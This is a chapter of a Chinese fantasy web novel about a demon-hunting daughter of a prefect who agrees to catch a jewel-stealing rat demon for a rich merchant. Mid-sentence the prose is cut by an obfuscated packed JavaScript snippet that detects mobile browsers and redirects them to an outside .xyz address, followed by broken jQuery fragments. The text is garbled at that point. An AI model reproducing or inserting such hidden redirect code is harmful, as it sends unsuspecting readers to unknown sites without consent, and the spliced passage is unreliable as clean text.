永安七十三年，夏。


    窗外的蝉孜孜不倦地叫着，时而送来一股拂面的暖风。花剑知穿一件薄薄的外衫，四仰八叉地靠在床头。话本小说被她扔在地上，绿豆糕也被推到一旁。她把玩着手指上戴着的几枚银戒指，时不时打个哈欠，一副无精打采的模样。


    今年的夏天实在炎热，花剑知被热气蒸得萎靡不振，根本不愿动弹。她叹口气，刚转了个身，便听见有人急匆匆地敲响了房门。


    “姑娘，江平昌又来了。”


    江平昌。


    这三个字就像魔咒一样，花剑知一听，脸上立刻挤出一副怪样。她滚进床里，用衣袖捂住耳朵，假装没听见门外人说的话。


    “姑娘？您睡了吗？姑娘？”


    迟迟听不见回应，敲门的人索性直接推门走了进来：“姑娘，那江——”


    “绿鹃，你来得正好！”


    眼看已经逃避不了这件事，花剑知赶紧翻身坐起，抢先一步堵住来人的嘴。她把桌上的绿豆糕堆成两摞，又在旁边放一串葡萄，直到碟子被塞得满满当当，才将这堆食物推进绿鹃的怀里：“这常青阁的绿豆糕，不好吃，赏你，以后不要让他们再买了。”


    “谢谢姑娘。”一身青衣的大丫鬟把碟子稳稳抱进怀里，在花剑知的奖赏面前，她没有忘记正事，仍然面不改色道，“姑娘，江家人已经在前厅等着了，您看……”


    明明赏了吃的，绿鹃却还要谈这件事。花剑知立刻变了脸色，她抬高音量，不耐烦道：“我不是叫你们拦住他吗？怎么又来了！”


    挨了骂，绿鹃缩缩脖子，赶紧低下头，但她嘴上仍然没饶过花剑知：“他在咱们家门前待了几个时辰，赶也赶不走，骂也骂不走，总不能让他一直站在那里。被人看见了，指不定要说些什么呢。”


    “没用的东西。”


    这当然是在骂看门的那几个小厮，但绿鹃心里还是有些发怵。她已经服侍花剑知多年，很了解她的性格——这时候要是说错了一句话，少不了一顿皮肉之苦。绿鹃几乎把头埋进了胸口，摆出唯唯诺诺的姿态；可眼皮却悄悄抬起，偷偷观察着花剑知的神色。


    “这江平昌，以前也不见来得这么勤快。”所幸花剑知的脾气来得快去得也快，三两句话的工夫，对下人的不满已经转移到了外人身上，“现在挨了打，想起来谁是主子，才知道变回那张狗皮膏药——算了，给我更衣。”


    花剑知起床的时候已是日上三竿，天热无事，她用完午膳便又躺了回来，及至下午，她仍然衣冠不整，和刚睡醒一样。她有意拖延时间，等磨磨蹭蹭穿戴整齐，又过去了半个时辰。一想到这期间，江家家主一直在太阳底下等着，花剑知也忍不住啧啧称奇——他倒真是能忍。


    收拾妥当后，花剑知终于出门去见江平昌。她今日梳的蝶鬓髻，发上插一根碧玉镂空珍珠簪，穿一件天蓝色的无袖短衣，外披白色薄衫，下身则是一条桃红色的长裙。她带着自己的仆人丫鬟，手里把玩着折扇，慢悠悠地晃到前厅，一眼便看见了正在门口来回徘徊的男人。


    江平昌上了岁数，发际已有些花白。他被烤得汗流浃背、无精打采，可见到花剑知，他顿时来了精神，像看见了自己的救命恩人似的，一个箭步冲到她面前，立刻跪倒在地：“花小姐，您可得帮帮我啊！花小姐！”


    花剑知清楚江平昌不好打发，可也没想到他会直接跪了下来。她被吓了一跳，赶紧向其他人示意：“这是做什么！起来说话。”


    一群人要扶他起身，江平昌不仅不起，反而磕了两个头：“花小姐若不答应帮忙，江某就不起来。”


    换作旁人，或许会先答应下来，免得大庭广众之下让人难堪。可偏偏花剑知最讨厌别人威胁自己，听江平昌这么说，她更不愿意管这狗仗人势的东西。


    花剑知翻翻白眼，绕过江平昌坐到主位，喝着绿鹃递来的茶水，又从丫鬟红雀的手里捡了一块点心吃；另有两人走到身后，为她扇风。反正求人的不是花剑知，她也不急。花府是她的地盘，不管在卧室还是在前厅，她都能舒舒服服的。


    江平昌跪了半天，发现花剑知真的不打算开口，这才犹犹豫豫地站起来，重新走到花剑知面前。他行了两回礼，却不知道该说什么，只能支支吾吾道：“花小姐……您……”


    江平昌等了这么久，又跪了这么久，花剑知心里总算舒坦了些。她终于大发慈悲，朗声说起了正事：“江老爷，你之前说，你家进了只鼠妖，不杀人也不吃人，却专爱偷你们家的金银首饰。”


    “千真万确！老鼠——”


    见江平昌还想接着话茬说下去，花剑知赶紧打断他：“可是江老爷，这妖怪呢，如果想提升妖力，一般会选择同类而食；再不济，也会挑新鲜人肉。它偷首饰，还专偷你一家，何必？有没有可能，是你家里有贼，却把罪责推给了小老鼠身上？”


    “不不不，绝无可能！”意识到花剑知有意帮自己，江平昌赶紧抓住机会，把事情往夸张里讲，“我亲眼所见，那老鼠变成了一个女人，掳走了店里所有的首饰，然后就消失了！千真万确啊，花小姐，我江平昌，只是个老实本分的生意人，做点小买卖养活家人。妖怪成天来偷，谁能吃得消？求您为我江家做主！”


    老实本分的生意人？做点小买卖？


    江家是江安郡最大的富商，江平昌富得流油，也亏他敢这么形容自己。


    花剑知没忍住，笑出了声。


    江平昌当然知道花剑知心里在想什么，他赶紧从怀里拿出一个细长的绒面盒子，将脸上的肥肉堆成一个讨好的笑容，低低地弯下腰，殷切道：“花小姐，这是从西南运来的首饰，几百年前的老文物，工艺早已失传，可珍贵了！虽比不上如今的精致，却更加华贵、大方，配您是再合适不过了！您瞅瞅。”


    花剑知拿起茶杯，缓缓呷了一口茶水。她目视前方，没理会江平昌的礼物，直到绿鹃替她接过盒子，再为她打开，她才用眼角的余光瞥了一眼。盒子里放着一根极朴素的项链，项链用黑绳串起，正中是一颗黑白花纹的细长天珠，珠子两侧分别钉了一颗绿松石。这确实不是江南的风格，但花剑知也不是首饰专家，不知道江平昌所说的“珍贵”是否真切。


    更何况，花剑知一个郡守家的小姐，从来不缺装点门面的东西。她对首饰早已失去兴趣—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963085|161137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —再怎么珍贵，说白了就是几颗珠子。一个富商求人办事，竟然只能拿得出一根项链，花剑知愈发觉得这件事可笑了。


    花剑知的神色毫无缓和，江平昌有些慌神，他连忙补充道：“花小姐如能解决这档子事，江家的金银都是花小姐的！”


    这话才算显出一些诚意。


    花剑知终于歪过头，正视起江平昌。她漂亮的桃花眼笑成了一对弯月：“江老爷，我既然是咱们郡里的捉妖师，如有妖怪出没，无论真假，自然不会放着不管。反倒是你，说得好像我是为了钱才答应帮你。”江平昌靠得太近，她赶紧打开折扇，遮住自己险些挂不住的假笑，“我对金银不感兴趣，这链子想来也不便宜，江老爷还是自己收着吧。”


    花剑知说完，绿鹃也把首饰盒重新塞回了江平昌怀里。他捧着盒子，彻底手足无措了：“可花小姐——”


    花剑知起身往前走了几步，与江平昌拉开距离。她双手背在身后，似乎认真琢磨起了这件事：“这样吧，我今夜先去城外搜罗一圈，如果没有收获，明日再去您家里找找线索。”


    “直接去城外……？”


    按江平昌的想法，花剑知应该今晚带着人马前往江家，秉烛守夜，等着瓮中捉鼠。可她居然打算先去搜索城外！荒郊野岭，找一只小老鼠，无异于大海捞针。江平昌不明白花剑知的想法，不由愣在原地。


    “既是鼠妖，总得有个窝吧。”花剑知很自信，“她偷了你们家这么多东西，肯定有个足够大的空间藏赃物；而能修炼成人形的妖怪，又一定需要一个能养精蓄锐的地方。城外能给妖怪当藏身之处的，总共就那么几个地点。我镇妖多年，对此早已了如指掌，要找到她，不难。”


    这是同意帮他抓妖怪的意思。


    不管花剑知打算怎么做，反正她已经答应下来了。江平昌脸上立刻笑开了花，连连行礼道：“谢谢花小姐，谢谢花小姐！花小姐日后如有什么需要，江某必然全力以赴！上刀山、下火海，也给您把事办成！”


    “别谢了，赶紧回家歇着吧。”江平昌低三下四的模样让花剑知相当愉快，她的笑容更加真切了一些，“今晚该做什么就做什么，若是那老鼠又出现了，也不要打草惊蛇。一切等我的信就是。”


    江平昌高兴到说话都变结巴了：“是是是，那那，我这就回回、回去去！这就回去！”


    江平昌一说走，红雀赶紧上前，带着几个人把他请了出去。刚才还热闹着的前厅，霎时间只剩下了花剑知和绿鹃两个人。


    没了外人，花剑知的微笑转眼变成了冷笑。


    “一根项链就想打发我，”她眼中闪过杀气，“江平昌想得可真美。”


    不想帮江平昌，为什么又要答应下来？


    花剑知的心思百转千回，绿鹃从来想不明白，她小心翼翼地试探道：“那姑娘今晚还要出城……？”


    “我都答应下来了，自然要去。”绿鹃猜不到自己的心思，花剑知有些失望，但她也习惯了这个不太聪明的心腹，只在心中道声无趣，便抬脚往自己的内院走去，“让李泉提前备好马，再让后厨准备点好吃的。吃完晚膳，我杀妖怪去。”